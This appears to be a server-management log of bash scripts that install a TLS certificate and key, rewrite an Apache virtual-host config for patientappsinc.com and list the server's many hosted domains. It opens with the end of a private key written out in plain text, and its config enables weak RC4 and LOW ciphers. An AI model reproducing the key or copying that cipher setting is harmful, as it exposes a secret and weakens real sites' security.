U4Q9nQFm8LdfE7AIxbTc7CbYFGrCREwqW/bOu2FokJ+4TT9+2zlGvTEnwxtPLnIo
u1NBlKt2Fw9HVwfVQFRsgJejPAhwSw8/4IjakCQjaqy58Ow/py2rZrcopQ5D5MaP
BQ21s5Ll3tPB82RG+1EzsKFLRlzu14EEqW83P5Bej0v3ZRyqM32ID72A6swuFtTr
jDPgzbKTcpRkFC14iX4fo/RHUK4w2Ie5kNrIVEoXDD5QKORUt+zuPZibzmknT64z
dXoIQJb9FO01A2oxrjDYoSlNehPtZmro/feE4q3T+ekCgYEA+YgwdEYgNvOC1b/F
1SMUD+L3A5Pwb3LyicCaYn1KeZ3CyaT3WwWdYsm269Qi/rjMEUJvX8ql0ei1mul8
Y2S/Zfy/Hg8N6D6gCQEhiZzRHfyL/5vS9XVBF6PkVEgJffvubTmHesp0n551jCKo
UxjfaqJKSKZPQ75Xw5mkZKye5w8CgYEA9m/3GkYvbnManEFaSRHY7o3+PPkSpXnH
/mPllkOsiO7TeQHfN48WnToRijzwHPy8PARN3b379dIczf1pTUuECY8SfwA9tVxl
DAIw+cjm/B/0LKnA96Ufi2zcAGFtmMdZnohRvoHASsw3+jpVjQrvRoUFcqYnqaYg
WbMkkp/4M5cCgYAs2Th0PYJevgee6VfiReq+LDnfT8CgF1XWQmK9Hu26zAsNePPo
TSsLbVvOKROdGpO66mjgG6kQADZbwGlV5+6qovGqsmP6gP78f1KKzD+dlx2GdHhH
G6r2V8ObDlN+bEBfKz7ZZ/fsFGvmIviD7u2A2ehmBFYsw9I8Wqn8WjY5KwKBgBHK
NWFdLbFgd8xN33Gk6y8VawQFyvXNG8XeekVlrz/XVcbHftCo8K368iczjPXavM/s
U56tR1IQj+nC4GYnDGoQPPqUDuBXwieixNxTR3Ft8ReETZzS+7r56cvRPLMpuOt7
1cLV5QbBRU04BtL+thU2JxWGrxhNGMrA5uP6zlUTAoGAb50XiOnJEQsCgqmzL3hs
Iwu7oKeY0BL5NHw1IogHwTKtC3dlHotLQQP8P5j2ERRvqfT5MZVdehZTryHznLnV
NYW0NjCCjelPSYm4JRjSyVMDvFDsVKcXhl0RC5CYTHaHcxi8ErP+3A3IwNcGcCim
oYxg4INpiwOwUuPRw4RK9QQ=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-06 06:01:51: 

chmod 755 /tmp/pkp123506; /tmp/pkp123506; rm /tmp/pkp123506

2025-09-06 06:01:51: 


dir=/etc/ssl/certs


2025-09-06 06:01:51: 

PUT: /tmp/pkp304100

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientappsinc_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-06 06:01:51: 

chmod 755 /tmp/pkp304100; /tmp/pkp304100; rm /tmp/pkp304100

2025-09-06 06:01:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientappsinc_www_com.conf 46
<VirtualHost *:80>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_www
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
    DocumentRoot	/var/www/patientappsinc_www
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.php index.htm
</VirtualHost>






2025-09-06 06:01:51: 

PUT: /tmp/pkp994940

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientappsinc_www_com.conf
TARGET=/etc/apache2/sites-enabled/patientappsinc_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_www
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
    DocumentRoot	/var/www/patientappsinc_www
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.php index.htm
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientappsinc_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientappsinc_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/patientappsinc_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientappsinc_www_com.conf= 1'
fi


2025-09-06 06:01:51: 

chmod 755 /tmp/pkp994940; /tmp/pkp994940; rm /tmp/pkp994940

2025-09-06 06:01:51: 




2025-09-06 06:01:51: 

PUT: /tmp/pkp516311

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-06 06:01:51: 

chmod 755 /tmp/pkp516311; /tmp/pkp516311; rm /tmp/pkp516311

2025-09-06 06:01:51: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-06 06:01:51: Establishing a connection
2025-09-06 06:01:51: 

PUT: /tmp/pkp744258

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-06 06:01:51: 

chmod 755 /tmp/pkp744258; /tmp/pkp744258; rm /tmp/pkp744258

2025-09-06 06:01:51: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
